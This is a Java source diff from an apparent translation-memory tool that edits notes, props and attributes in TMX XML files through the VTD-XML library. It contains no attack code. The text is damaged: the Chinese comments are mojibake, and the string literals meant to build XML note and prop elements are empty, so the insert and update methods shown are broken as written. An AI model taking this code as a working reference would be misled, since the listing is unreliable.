+ tuv.setDbPk(pk); + } + + } + } + + public void updateTuNote(String tuIdentifier, TmxTU tu, TmxNote note, String newContent) { + if (note.getContent().equals(newContent)) { // 新内容和原æ¥çš„内容一样 + return; + } + String[] strs = TeCoreUtils.parseTuIndentifier(tuIdentifier); + if (strs == null) { + return; + } + String subFile = strs[0]; + String id = strs[1]; + + VTDUtils vu = container.getVTDUtils(subFile); + if (vu == null) { + return; + } + newContent = TextUtil.cleanString(newContent); + String xpath = "/tmx/body/tu[@hsid='" + id + "']/note[" + note.getDbPk() + "]"; + XMLModifier xm = new XMLModifier(); + try { + xm.bind(vu.getVTDNav()); + if (vu.pilot(xpath) != -1) { + StringBuffer buf = new StringBuffer().append(vu.getElementHead()).append(newContent).append(""); + xm.remove(); + xm.insertAfterElement(buf.toString()); + save2SubFile(subFile, vu, xm); + note.setContent(newContent); + setDirty(true); + } + } catch (ModifyException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } catch (UnsupportedEncodingException e) { + e.printStackTrace(); + } + } + + @Override + public void updateTuNote(Map tus, TmxNote note, String content) { + if (tus.size() == 1) { + for (Entry entry : tus.entrySet()) { + updateTuNote(entry.getKey(), entry.getValue(), note, content); + return; + } + } + + if (content != null) { + content = TextUtil.cleanSpecialString(content); + } + + // key--file; value--hsid + Map> ids = new HashMap>(); + // key--identifier; value--dbpk + Map noteIds = new HashMap(); + for (Entry entry : tus.entrySet()) { + TmxTU tu = entry.getValue(); + List notes = tu.getNotes(); + if (notes == null) { + continue; + } + boolean shouldModify = false; + for (TmxNote checkNote : notes) { + if (note.getContent().equals(checkNote.getContent())) {// 是å¦ç›¸ç­‰ + noteIds.put(entry.getKey(), checkNote.getDbPk()); + shouldModify = true; + break; + } + } + if (!shouldModify) { + continue; + } + + String[] strs = TeCoreUtils.parseTuIndentifier(entry.getKey()); + if (strs == null || strs.length < 2) { + continue; + } + if (!ids.containsKey(strs[0])) { + ids.put(strs[0], new LinkedList()); + } + ids.get(strs[0]).add(strs[1]); + } + + for (Entry> entry : ids.entrySet()) { + // å­æ–‡ä»¶ + String subFile = entry.getKey(); + List hsids = entry.getValue(); + + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + AutoPilot tmpAp = new AutoPilot(vn); + XMLModifier xm = null; + try { + xm = new XMLModifier(vu.getVTDNav()); + } catch (ModifyException e) { + LOGGER.error(e.getMessage(), e); + continue; + } + + try { + ap.selectXPath("/tmx/body/tu"); + while (ap.evalXPath() != -1 && !hsids.isEmpty()) { + String hsid = vn.toString(vn.getAttrVal("hsid")); + if (hsid == null || !hsids.contains(hsid)) { + continue; + } + vn.push(); + hsids.remove(hsid); + String identifier = new StringBuilder().append(subFile).append(TeCoreConstant.ID_MARK).append(hsid) + .toString(); + int dbpk = noteIds.get(identifier); + tmpAp.selectXPath(new StringBuilder().append("./note[").append(dbpk).append("]").toString()); + if (tmpAp.evalXPath() != -1) { + xm.remove(); + List notes = tus.get(identifier).getNotes(); + if (content != null) { + xm.insertAfterElement(new StringBuilder().append("").append(content) + .append("").toString()); + if (notes.size() >= dbpk - 1) { + notes.get(dbpk - 1).setContent(content); + } + } else { + if (notes.size() >= dbpk - 1) { + notes.remove(dbpk - 1); + } + } + setDirty(true); + } + vn.pop(); + } + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + } + save2SubFile(subFile, vu, xm); + } + } + + public void deleteTuNote(String tuIdentifier, TmxTU tu, TmxNote deleteNote) { + String[] strs = TeCoreUtils.parseTuIndentifier(tuIdentifier); + if (strs == null) { + return; + } + String subFile = strs[0]; + String id = strs[1]; + + VTDUtils vu = container.getVTDUtils(subFile); + if (vu == null) { + return; + } + int noteId = deleteNote.getDbPk(); + String xpath = "/tmx/body/tu[@hsid='" + id + "']/note[" + noteId + "]"; + + XMLModifier xm = vu.delete(xpath); + if (xm != null) { + save2SubFile(subFile, vu, xm); + setDirty(true); + tu.getNotes().remove(deleteNote); + for (TmxNote note : tu.getNotes()) { + if (note.getDbPk() > deleteNote.getDbPk()) { + note.setDbPk(note.getDbPk() - 1); + } + } + } + } + + @Override + public void deleteTuNote(Map tus, TmxNote deleteNote) { + if (tus.size() == 1) { + for (Entry entry : tus.entrySet()) { + deleteTuNote(entry.getKey(), entry.getValue(), deleteNote); + return; + } + } + updateTuNote(tus, deleteNote, null); + } + + public int addTuNote(String tuIdentifier, TmxTU tu, String content) { + int id = -1; + if (content == null || content.length() == 0) { + return id; + } + + String[] strs = TeCoreUtils.parseTuIndentifier(tuIdentifier); + if (strs == null) { + return id; + } + VTDUtils vu = container.getVTDUtils(strs[0]); + if (vu == null) { + return id; + } + + List notes = tu.getNotes(); + if (notes == null) { + notes = new ArrayList(); + } + + content = TextUtil.cleanString(content); + String xpath = "//tu[@hsid='" + strs[1] + "']"; + if (vu.pilot(xpath) != -1) { + try { + XMLModifier xm = new XMLModifier(vu.getVTDNav()); + xm.insertAfterHead("" + content + ""); + save2SubFile(strs[0], vu, xm); + id = notes.size() + 1; + // 完æˆæ–‡ä»¶æ“作åŽï¼Œéœ€è¦æ·»åŠ  note 到 TU çš„ä½ç½®ã€‚ + TmxNote note = new TmxNote(); + note.setContent(content); + note.setDbPk(id); + notes.add(note); + tu.setNotes(notes); + setDirty(true); + } catch (Exception e) { + LOGGER.error("", e); + } + } + return id; + } + + public int addTuNote(Map tus, String content) { + if (tus.size() == 1) { + for (Entry entry : tus.entrySet()) { + return addTuNote(entry.getKey(), entry.getValue(), content); + } + } + + // key--file; value--hsid + Map> ids = new HashMap>(); + for (Entry entry : tus.entrySet()) { + String[] strs = TeCoreUtils.parseTuIndentifier(entry.getKey()); + if (strs == null || strs.length < 2) { + continue; + } + if (!ids.containsKey(strs[0])) { + ids.put(strs[0], new LinkedList()); + } + ids.get(strs[0]).add(strs[1]); + } + + for (Entry> entry : ids.entrySet()) { + // å­æ–‡ä»¶ + String subFile = entry.getKey(); + List hsids = entry.getValue(); + + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + XMLModifier xm = null; + try { + xm = new XMLModifier(vu.getVTDNav()); + } catch (ModifyException e) { + LOGGER.error(e.getMessage(), e); + continue; + } + + for (String hsid : hsids) { + // 缓存 + TmxTU tu = tus.get(new StringBuilder().append(subFile).append(TeCoreConstant.ID_MARK).append(hsid) + .toString()); + List notes = tu.getNotes(); + if (notes == null) { + notes = new ArrayList(); + tu.setNotes(notes); + } + try { + ap.selectXPath("/tmx/body/tu"); + while (ap.evalXPath() != -1) { + if (hsid.equals(vn.toString(vn.getAttrVal("hsid")))) { + xm.insertAfterHead("" + content + ""); + TmxNote note = new TmxNote(); + note.setContent(content); + note.setDbPk(notes.size() + 1); + notes.add(note); + setDirty(true); + break; + } + } + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + } + } + save2SubFile(subFile, vu, xm); + } + return tus.size(); + } + + public void addTuAttribute(String tuIdentifier, TmxTU tu, String name, String value) { + if (tuIdentifier == null || tuIdentifier.length() == 0 || value == null || value.length() == 0 || name == null + || name.length() == 0) { + return; + } + Map attrs = tu.getAttributes(); + if (attrs != null && attrs.containsKey(name)) { + return; + } + + String[] strs = TeCoreUtils.parseTuIndentifier(tuIdentifier); + if (strs == null) { + return; + } + String subFile = strs[0]; + String id = strs[1]; + value = TextUtil.cleanSpecialString(value); + String attrStr = " " + name + "=\"" + value + "\""; + String xpath = "//tu[@hsid='" + id + "']"; + VTDUtils vu = container.getVTDUtils(subFile); + XMLModifier xm = new XMLModifier(); + try { + xm.bind(vu.getVTDNav()); + } catch (ModifyException e) { + LOGGER.error("", e); + } + addNodeAttribute(xm, vu, xpath, attrStr); + save2SubFile(subFile, vu, xm);// update file and VTDNav + setDirty(true); + tu.appendAttribute(name, value);// update TU + } + + public void updateTuAttribute(String tuIdentifier, TmxTU tu, String name, String newValue) { + if (tuIdentifier == null || tuIdentifier.length() == 0 || newValue == null || newValue.length() == 0 + || name == null || name.length() == 0) { + return; + } + String[] strs = TeCoreUtils.parseTuIndentifier(tuIdentifier); + if (strs == null) { + return; + } + String subFile = strs[0]; + String id = strs[1]; + newValue = TextUtil.cleanSpecialString(newValue); + String xpath = "/tmx/body/tu[@hsid='" + id + "']"; + VTDUtils vu = container.getVTDUtils(subFile); + XMLModifier xm = new XMLModifier(); + try { + xm.bind(vu.getVTDNav()); + } catch (ModifyException e) { + LOGGER.error("", e); + } + if (updateAttrByXpath(xm, xpath, vu, name, newValue) != null) { + save2SubFile(subFile, vu, xm);// update file and VTDNvn + updateCacheTuAttr(tu, name, newValue); + setDirty(true); + } + } + + @Override + public void updateTuAttribute(Map tus, String name, String newValue) { + if (tus.size() == 1) { + for (Entry entry : tus.entrySet()) { + updateTuAttribute(entry.getKey(), entry.getValue(), name, newValue); + } + return; + } + + // key--file; value--hsid + Map> ids = new HashMap>(); + for (Entry entry : tus.entrySet()) { + String[] strs = TeCoreUtils.parseTuIndentifier(entry.getKey()); + if (strs == null || strs.length < 2) { + continue; + } + if (!ids.containsKey(strs[0])) { + ids.put(strs[0], new LinkedList()); + } + ids.get(strs[0]).add(strs[1]); + } + + for (Entry> entry : ids.entrySet()) { + // å­æ–‡ä»¶ + String subFile = entry.getKey(); + List hsids = entry.getValue(); + + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + AutoPilot tmpAp = new AutoPilot(vn); + XMLModifier xm = null; + try { + xm = new XMLModifier(vu.getVTDNav()); + } catch (ModifyException e) { + LOGGER.error(e.getMessage(), e); + continue; + } + + try { + ap.selectXPath("/tmx/body/tu"); + while (ap.evalXPath() != -1) { + String hsid = vu.getCurrentElementAttribut("hsid", ""); + if (hsids.contains(hsid)) { + String identifier = new StringBuilder().append(subFile).append(TeCoreConstant.ID_MARK) + .append(hsid).toString(); + int index = -1; + vn.push(); + if (newValue == null) {// 删除 + tmpAp.selectXPath("./@" + name); + if ((index = tmpAp.evalXPath()) != -1) { + xm.removeAttribute(index); + } + } else {// 有则更新,无则添加 + tmpAp.selectXPath("./@" + name); + if ((index = tmpAp.evalXPath()) != -1) { + xm.updateToken(index + 1, newValue); + } else { + xm.insertAttribute(" " + name + "=\"" + newValue + "\""); + } + } + vn.pop(); + updateCacheTuAttr(tus.get(identifier), name, newValue); + setDirty(true); + } + } + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + } + save2SubFile(subFile, vu, xm); + } + } + + private XMLModifier updateAttrByXpath(XMLModifier xm, String xpath, VTDUtils vu, String name, String newValue) { + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(); + try { + ap.bind(vn); + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + int index = vn.getAttrVal(name); + if (index == -1) { + xm.insertAttribute(" " + name + "=\"" + newValue + "\""); + } else { + xm.updateToken(index, newValue); + } + } else { + return null; + } + return xm; + } catch (Exception e) { + LOGGER.error("", e); + return null; + } + } + + public void deleteTuAttribute(String tuIdentifier, TmxTU tu, String name) { + if (tuIdentifier == null || tuIdentifier.length() == 0 || name == null || name.length() == 0) { + return; + } + String[] strs = TeCoreUtils.parseTuIndentifier(tuIdentifier); + if (strs == null) { + return; + } + String subFile = strs[0]; + String id = strs[1]; + + String xpath = "/tmx/body/tu[@hsid='" + id + "']/@" + name; + VTDUtils vu = container.getVTDUtils(subFile); + XMLModifier xm = deleteAttrByXpath(xpath, vu); + if (xm != null) { + save2SubFile(subFile, vu, xm); + updateCacheTuAttr(tu, name, null); + setDirty(true); + } + } + + @Override + public void deleteTuAttribute(Map tus, String name) { + if (tus.size() == 1) { + for (Entry entry : tus.entrySet()) { + deleteTuAttribute(entry.getKey(), entry.getValue(), name); + return; + } + } + updateTuAttribute(tus, name, null); + } + + private XMLModifier deleteAttrByXpath(String xpath, VTDUtils vu) { + try { + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + XMLModifier xm = new XMLModifier(vu.getVTDNav()); + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + xm.remove(); + } else { + return null; + } + return xm; + } catch (Exception e) { + LOGGER.error("", e); + return null; + } + } + + public void addTuvAttribute(String tuIdentifier, TmxSegement tuv, String name, String value) { + if (tuIdentifier == null || tuIdentifier.length() == 0 || value == null || value.length() == 0 || name == null + || name.length() == 0 || tuv == null) { + return; + } + String[] strs = TeCoreUtils.parseTuIndentifier(tuIdentifier); + if (strs == null) { + return; + } + String subFile = strs[0]; + String id = strs[1]; + int tuvId = tuv.getDbPk(); + + VTDUtils vu = container.getVTDUtils(subFile); + if (vu == null) { + return; + } + + Map attrs = tuv.getAttributes(); + if (attrs != null && attrs.containsKey(name)) { + return; + } + + value = TextUtil.cleanSpecialString(value); + String attributeStr = " " + name + "=\"" + value + "\""; + String xpath = "/tmx/body/tu[@hsid='" + id + "']/tuv[" + tuvId + "]"; + XMLModifier xm = new XMLModifier(); + try { + xm.bind(vu.getVTDNav()); + } catch (ModifyException e) { + LOGGER.error("", e); + } + addNodeAttribute(xm, vu, xpath, attributeStr); + + save2SubFile(subFile, vu, xm); // update file and VTDNav + setDirty(true); + tuv.appendAttribute(name, value); // update tuv + } + + public void updateTuvAttribute(String tuIdentifier, TmxSegement tuv, String name, String newValue) { + if (tuIdentifier == null || tuIdentifier.length() == 0 || newValue == null || newValue.length() == 0 + || name == null || name.length() == 0) { + return; + } + String[] strs = TeCoreUtils.parseTuIndentifier(tuIdentifier); + if (strs == null) { + return; + } + String subFile = strs[0]; + String id = strs[1]; + int tuvId = tuv.getDbPk(); + newValue = TextUtil.cleanSpecialString(newValue); + String xpath = "/tmx/body/tu[@hsid='" + id + "']/tuv[" + tuvId + "]"; + VTDUtils vu = container.getVTDUtils(subFile); + XMLModifier xm = new XMLModifier(); + try { + xm.bind(vu.getVTDNav()); + } catch (ModifyException e) { + LOGGER.error("", e); + } + if (updateAttrByXpath(xm, xpath, vu, name, newValue) != null) { + save2SubFile(subFile, vu, xm); + updateCacheTuvAttr(tuv, name, newValue); + setDirty(true); + } + } + + public void deleteTuvAttribute(String tuIdentifier, TmxSegement tuv, String name) { + if (tuIdentifier == null || tuIdentifier.length() == 0 || name == null || name.length() == 0) { + return; + } + String[] strs = TeCoreUtils.parseTuIndentifier(tuIdentifier); + if (strs == null) { + return; + } + String subFile = strs[0]; + String id = strs[1]; + int tuvid = tuv.getDbPk(); + String xpath = "/tmx/body/tu[@hsid='" + id + "']/tuv[" + tuvid + "]/@" + name; + VTDUtils vu = container.getVTDUtils(subFile); + XMLModifier xm = deleteAttrByXpath(xpath, vu); + if (xm != null) { + save2SubFile(subFile, vu, xm); + updateCacheTuvAttr(tuv, name, null); + setDirty(true); + } + } + + public int addTuProp(String tuIdentifier, TmxTU tu, String propType, String newContent) { + int id = -1; + if (propType == null || newContent == null || propType.isEmpty() || newContent.isEmpty()) { + return -1; + } + + // build prop + TmxProp prop = new TmxProp(); + prop.setValue(newContent); + prop.setName(propType); + + // clean string + propType = TextUtil.cleanSpecialString(propType.trim()); + newContent = TextUtil.cleanSpecialString(newContent.trim()); + + String[] strs = TeCoreUtils.parseTuIndentifier(tuIdentifier); + if (strs == null) { + return id; + } + VTDUtils vu = container.getVTDUtils(strs[0]); + if (vu == null) { + return id; + } + + List props = tu.getProps(); + if (props == null) { + props = new ArrayList(); + } + id = props.size() + 1; + +// newContent = TextUtil.cleanString(newContent); + String xpath = "/tmx/body/tu[@hsid='" + strs[1] + "']"; + XMLModifier xm = new XMLModifier(); + try { + VTDNav vn = vu.getVTDNav(); + xm.bind(vn); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("/tmx/body/tu[@hsid='" + strs[1] + "']/prop[last()]"); + if (ap.evalXPath() != -1) { + xm.insertAfterElement("" + newContent + ""); + } else { + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + xm.insertAfterHead("" + newContent + ""); + } + } + } catch (Exception e) { + e.printStackTrace(); + LOGGER.error(e.getMessage(), e); + } +// addNode(xm, vu, xpath, "" + newContent + ""); + save2SubFile(strs[0], vu, xm);// update file and VTDNav + // 完æˆæ–‡ä»¶æ“作åŽï¼Œéœ€è¦æ·»åŠ  prop 到 TU çš„ä½ç½®ã€‚ + prop.setDbPk(id); + props.add(prop); + tu.setProps(props); + setDirty(true); + return id; + } + + @Override + public int addTuProp(Map tus, String propType, String newContent) { + + if (tus.size() == 1) { + for (Entry entry : tus.entrySet()) { + return addTuProp(entry.getKey(), entry.getValue(), propType, newContent); + } + } + + if (propType == null || newContent == null || propType.isEmpty() || newContent.isEmpty()) { + return -1; + } + + propType = TextUtil.cleanSpecialString(propType.trim()); + newContent = TextUtil.cleanSpecialString(newContent.trim()); + + + // key--file; value--hsid + Map> ids = new HashMap>(); + for (Entry entry : tus.entrySet()) { + String[] strs = TeCoreUtils.parseTuIndentifier(entry.getKey()); + if (strs == null || strs.length < 2) { + continue; + } + if (!ids.containsKey(strs[0])) { + ids.put(strs[0], new LinkedList()); + } + ids.get(strs[0]).add(strs[1]); + } + + for (Entry> entry : ids.entrySet()) { + // å­æ–‡ä»¶ + String subFile = entry.getKey(); + List hsids = entry.getValue(); + + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + XMLModifier xm = null; + try { + xm = new XMLModifier(vu.getVTDNav()); + } catch (ModifyException e) { + LOGGER.error(e.getMessage(), e); + continue; + } + + for (String hsid : hsids) { + // 缓存 + TmxTU tu = tus.get(new StringBuilder().append(subFile).append(TeCoreConstant.ID_MARK).append(hsid) + .toString()); + List props = tu.getProps(); + if (props == null) { + props = new ArrayList(); + tu.setProps(props); + } + try { + ap.selectXPath("/tmx/body/tu"); + while (ap.evalXPath() != -1) { + if (hsid.equals(vn.toString(vn.getAttrVal("hsid")))) { + xm.insertAfterHead("" + newContent + ""); + TmxProp prop = new TmxProp(); + prop.setName(propType); + prop.setValue(newContent); + prop.setDbPk(props.size() + 1); + props.add(prop); + setDirty(true); + break; + } + } + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + } + } + save2SubFile(subFile, vu, xm); + } + return tus.size(); + } + + public void updateTuProp(String tuIdentifier, TmxTU tu, TmxProp prop, String propType, String newContent) { + if (newContent == null || newContent.length() == 0 || propType == null || propType.length() == 0 || tu == null + || prop == null) { + return; + } + + propType = TextUtil.cleanSpecialString(propType); + newContent = TextUtil.cleanSpecialString(newContent); + + String[] strs = TeCoreUtils.parseTuIndentifier(tuIdentifier); + if (strs == null) { + return; + } + String subFile = strs[0]; + String id = strs[1]; + List props = tu.getProps(); + if (props == null || !props.contains(prop)) { + return; + } + int propid = prop.getDbPk(); + String xpath = "/tmx/body/tu[@hsid='" + id + "']/prop[" + propid + "]"; + String nodeFragment = "" + newContent + ""; + VTDUtils vu = container.getVTDUtils(subFile); + if (vu == null) { + return; + } + XMLModifier xm = new XMLModifier(); + try { + xm.bind(vu.getVTDNav()); + } catch (ModifyException e) { + LOGGER.error("", e); + } + if (updateNode(xm, vu, xpath, nodeFragment)) { + save2SubFile(subFile, vu, xm); // update file and VTDNav + // update TmxProp + prop.setName(propType); + prop.setValue(newContent); + setDirty(true); + } + } + + @Override + public void updateTuProp(Map tus, TmxProp prop, String propType, String newContent) { + + if (tus.size() == 1) { + for (Entry entry : tus.entrySet()) { + updateTuProp(entry.getKey(), entry.getValue(), prop, propType, newContent); + return; + } + } + + if (propType != null) { + propType = TextUtil.cleanSpecialString(propType); + } + if (newContent != null) { + newContent = TextUtil.cleanSpecialString(newContent); + } + + // key--file; value--hsid + Map> ids = new HashMap>(); + // key--identifier; value--dbpk + Map propIds = new HashMap(); + for (Entry entry : tus.entrySet()) { + TmxTU tu = entry.getValue(); + List props = tu.getProps(); + if (props == null) { + continue; + } + boolean shouldModify = false; + for (TmxProp checkProp : props) { + if (prop.getValue().equals(checkProp.getValue()) && prop.getName().equals(checkProp.getName())) {// 是å¦éœ€è¦æ›´æ–° + propIds.put(entry.getKey(), checkProp.getDbPk()); + shouldModify = true; + break; + } + } + if (!shouldModify) { + continue; + } + + String[] strs = TeCoreUtils.parseTuIndentifier(entry.getKey()); + if (strs == null || strs.length < 2) { + continue; + } + if (!ids.containsKey(strs[0])) { + ids.put(strs[0], new LinkedList()); + } + ids.get(strs[0]).add(strs[1]); + } + + for (Entry> entry : ids.entrySet()) { + // å­æ–‡ä»¶ + String subFile = entry.getKey(); + List hsids = entry.getValue(); + + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + AutoPilot tmpAp = new AutoPilot(vn); + XMLModifier xm = null; + try { + xm = new XMLModifier(vu.getVTDNav()); + } catch (ModifyException e) { + LOGGER.error(e.getMessage(), e); + continue; + } + + try { + ap.selectXPath("/tmx/body/tu"); + while (ap.evalXPath() != -1 && !hsids.isEmpty()) { + String hsid = vn.toString(vn.getAttrVal("hsid")); + if (hsid == null || !hsids.contains(hsid)) { + continue; + } + vn.push(); + hsids.remove(hsid); + String identifier = new StringBuilder().append(subFile).append(TeCoreConstant.ID_MARK).append(hsid) + .toString(); + int dbpk = propIds.get(identifier); + tmpAp.selectXPath(new StringBuilder().append("./prop[").append(dbpk).append("]").toString()); + if (tmpAp.evalXPath() != -1) { + xm.remove(); + List props = tus.get(identifier).getProps(); + if (propType != null) { + // "" + newContent + "" + xm.insertAfterElement(new StringBuilder().append("").append(newContent).append("").toString()); + if (props.size() >= dbpk - 1) { + props.get(dbpk - 1).setName(propType); + props.get(dbpk - 1).setValue(newContent); + } + } else { + if (props.size() >= dbpk - 1) { + props.remove(dbpk - 1); + } + } + setDirty(true); + } + vn.pop(); + } + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + } + save2SubFile(subFile, vu, xm); + } + } + + public void deleteTuProp(String tuIdentifier, TmxTU tu, TmxProp deleteProp) { + String[] strs = TeCoreUtils.parseTuIndentifier(tuIdentifier); + if (strs == null) { + return; + } + String subFile = strs[0]; + String id = strs[1]; + + VTDUtils vu = container.getVTDUtils(subFile); + if (vu == null) { + return; + } + int noteId = deleteProp.getDbPk(); + String xpath = "/tmx/body/tu[@hsid='" + id + "']/prop[" + noteId + "]"; + XMLModifier xm = new XMLModifier(); + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + + try { + xm.bind(vu.getVTDNav()); + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + xm.remove(); + tu.getProps().remove(deleteProp); + save2SubFile(subFile, vu, xm); + setDirty(true); + for (TmxProp prop : tu.getProps()) { + if (prop.getDbPk() > deleteProp.getDbPk()) { + prop.setDbPk(prop.getDbPk() - 1); + } + } + } + } catch (ModifyException e) { + e.printStackTrace(); + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } + } + + @Override + public void deleteTuProp(Map tus, TmxProp deleteProp) { + if (tus.size() == 1) { + for (Entry entry : tus.entrySet()) { + deleteTuProp(entry.getKey(), entry.getValue(), deleteProp); + return; + } + } + updateTuProp(tus, deleteProp, null, null); + } + @Override + public void deleteTuPropByType(Map tus, String name) { + + if (name == null) { + return; + } + String oldName = name; + name = TextUtil.cleanSpecialString(name); + + // key--file; value--hsid + Map> subfile_hsid = new HashMap>(); + // key--identifier; value--dbpk + Map propIds = new HashMap(); + for (Entry entry : tus.entrySet()) { + TmxTU tu = entry.getValue(); + List props = tu.getProps(); + if (props == null) { + continue; + } + boolean shouldModify = false; + for (TmxProp checkProp : props) { + if (oldName.equals(checkProp.getName())) {// 是å¦éœ€è¦æ›´æ–° + propIds.put(entry.getKey(), checkProp.getDbPk()); + shouldModify = true; + break; + } + } + if (!shouldModify) { + continue; + } + + String[] strs = TeCoreUtils.parseTuIndentifier(entry.getKey()); + if (strs == null || strs.length < 2) { + continue; + } + if (!subfile_hsid.containsKey(strs[0])) { + subfile_hsid.put(strs[0], new LinkedList()); + } + subfile_hsid.get(strs[0]).add(strs[1]); + } + + for (Entry> entry : subfile_hsid.entrySet()) { + // å­æ–‡ä»¶ + String subFile = entry.getKey(); + List hsids = entry.getValue(); + + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + AutoPilot tmpAp = new AutoPilot(vn); + XMLModifier xm = null; + try { + xm = new XMLModifier(vu.getVTDNav()); + } catch (ModifyException e) { + LOGGER.error(e.getMessage(), e); + continue; + } + + try { + ap.selectXPath("/tmx/body/tu"); + while (ap.evalXPath() != -1 && !hsids.isEmpty()) { + String hsid = vn.toString(vn.getAttrVal("hsid")); + if (hsid == null || !hsids.contains(hsid)) { + continue; + } + hsids.remove(hsid);// has removed + boolean rmProp = false; + vn.push(); + + tmpAp.selectXPath("./prop"); + while (tmpAp.evalXPath() != -1) { + String type = vn.toRawString(vn.getAttrVal("type")); + if (name.equals(type)) { + xm.remove(); + rmProp = true; + } + } + if (rmProp) { + String identifier = new StringBuilder().append(subFile).append(TeCoreConstant.ID_MARK).append(hsid).toString(); + List rmProps = new ArrayList(); + for (TmxProp prop : tus.get(identifier).getProps()) { + rmProps.add(prop); + } + List rdbkProps = tus.get(identifier).getProps(); + rdbkProps.removeAll(rmProps); + } + vn.pop(); + } + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + } + save2SubFile(subFile, vu, xm); + } + } + + /** + * @return 包å«åœ¨å½“显示的记录中 + * @param tgtLangCode + **/ + public List getTgtEmptyTU(String tgtLangCode) { + return null; + } + + /** + * @return 包å«åœ¨å½“显示的记录中 + * @param srcLang + * @param tgtLang + * @param boolean isIgnoreTag + **/ + public List getDuplicatedTU(String srcLang, String tgtLang, boolean isIgnoreTag) { + return null; + } + + /** + * @return 包å«åœ¨å½“显示的记录中 + * @param srcLang + * @param tgtLang + * @param boolean isIgnoreTag + **/ + public List getDuplicatedSrcDiffTgtTU(String srcLang, String tgtLang, boolean isIgnoreTag) { + return null; + } + + /** + * 首选在缓存中å–值,如果缓存中没有,则从物ç†å­˜å‚¨ä¸­è¯»å–值,最åŽæ·»åŠ ç¼“存中。 + * @param tuIdentifier + **/ + public TmxTU getTuByIdentifier(String tuIdentifier) { + String[] strs = TeCoreUtils.parseTuIndentifier(tuIdentifier); + TmxTU tu = new TmxTU(); + if (strs == null) { + return tu; + } + String subFile = strs[0]; + String id = strs[1]; + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath("//tu[@hsid='" + id + "']"); + if (ap.evalXPath() != -1) { + TmxFileDataAccessUtils.readTUAttr4VTDNav(vu, tu); + TmxFileDataAccessUtils.readTUNote4VTDNav(vu, tu); + TmxFileDataAccessUtils.readTUProp4VTDNav(vu, tu); + TmxFileDataAccessUtils.readTUTuv4VTDNav(vu, tu, super.currSrcLang, super.currTgtLang); + } + } catch (VTDException e1) { + e1.printStackTrace(); + } + tu.setTmId(Integer.parseInt(id)); + return tu; + } + + private void save2SubFile(String subFile, VTDUtils vu, XMLModifier xm) { + try { + VTDNav vn = xm.outputAndReparse(); + vu.bind(vn); + + xm = new XMLModifier(vn); + FileOutputStream fos = new FileOutputStream(subFile); + BufferedOutputStream bos = new BufferedOutputStream(fos); + xm.output(bos); // 写入文件 + bos.close(); + fos.close(); + } catch (VTDException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (IOException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + + } + + /** + * æ›´æ–° xpath 指定的整个节点,先删除这个节点,然åŽå†æ’å…¥ nodeFragment + * @param subFile + * å½“å‰ XML çš„ç»å¯¹è·¯å¾„ + * @param vu + * å½“å‰ XML 文件的 {@link VTDUtils} 对象 + * @param xpath + * 定ä½åˆ°å½“å‰å¤„ç†èŠ‚点的ä½ç½® + * @param nodeFragment + * 整个节点的内容,如:xx,如果内容为空或者 null 则åªåšåˆ é™¤; + */ + private boolean updateNode(XMLModifier xm, VTDUtils vu, String xpath, String nodeFragment) { + if (nodeFragment == null || nodeFragment.length() == 0) { + return false; + } + try { + if (vu.pilot(xpath) != -1) { + xm.remove(); + xm.insertAfterElement(nodeFragment); + return true; + } + } catch (VTDException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (UnsupportedEncodingException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + return false; + } + + private void addNode(XMLModifier xm, VTDUtils vu, String xpath, String nodeFragment) { + if (nodeFragment == null || nodeFragment.length() == 0) { + return; + } + try { + if (vu.pilot(xpath) != -1) { + xm.bind(vu.getVTDNav()); + xm.insertAfterHead(nodeFragment); + } + } catch (Exception e) { + LOGGER.error("", e); + } + } + + /** + * @param subFile + * @param vu + * @param xpath + * 定ä½åˆ°ç›®æ ‡èŠ‚点 + * @param attributeStr + * ä¸ºä¸€ä¸ªç¬¦åˆ xml 属性的字符串,如 attrName = "attrValue"; + */ + private void addNodeAttribute(XMLModifier xm, VTDUtils vu, String xpath, String attributeStr) { + try { + if (vu.pilot(xpath) != -1) { + xm.insertAttribute(attributeStr); + } + } catch (VTDException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } catch (UnsupportedEncodingException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + } + + /** + * 批é‡ä¿®æ—¶ä½¿ç”¨çš„上下文类,æ供以下接å£ï¼š
    + *
  • é历整个文档时使用的 xpath 语å¥
  • 将修改应用到“整个文件/记忆库â€
  • 将修改应用到“新当å‰è¿‡æ»¤ç»“æžœâ€
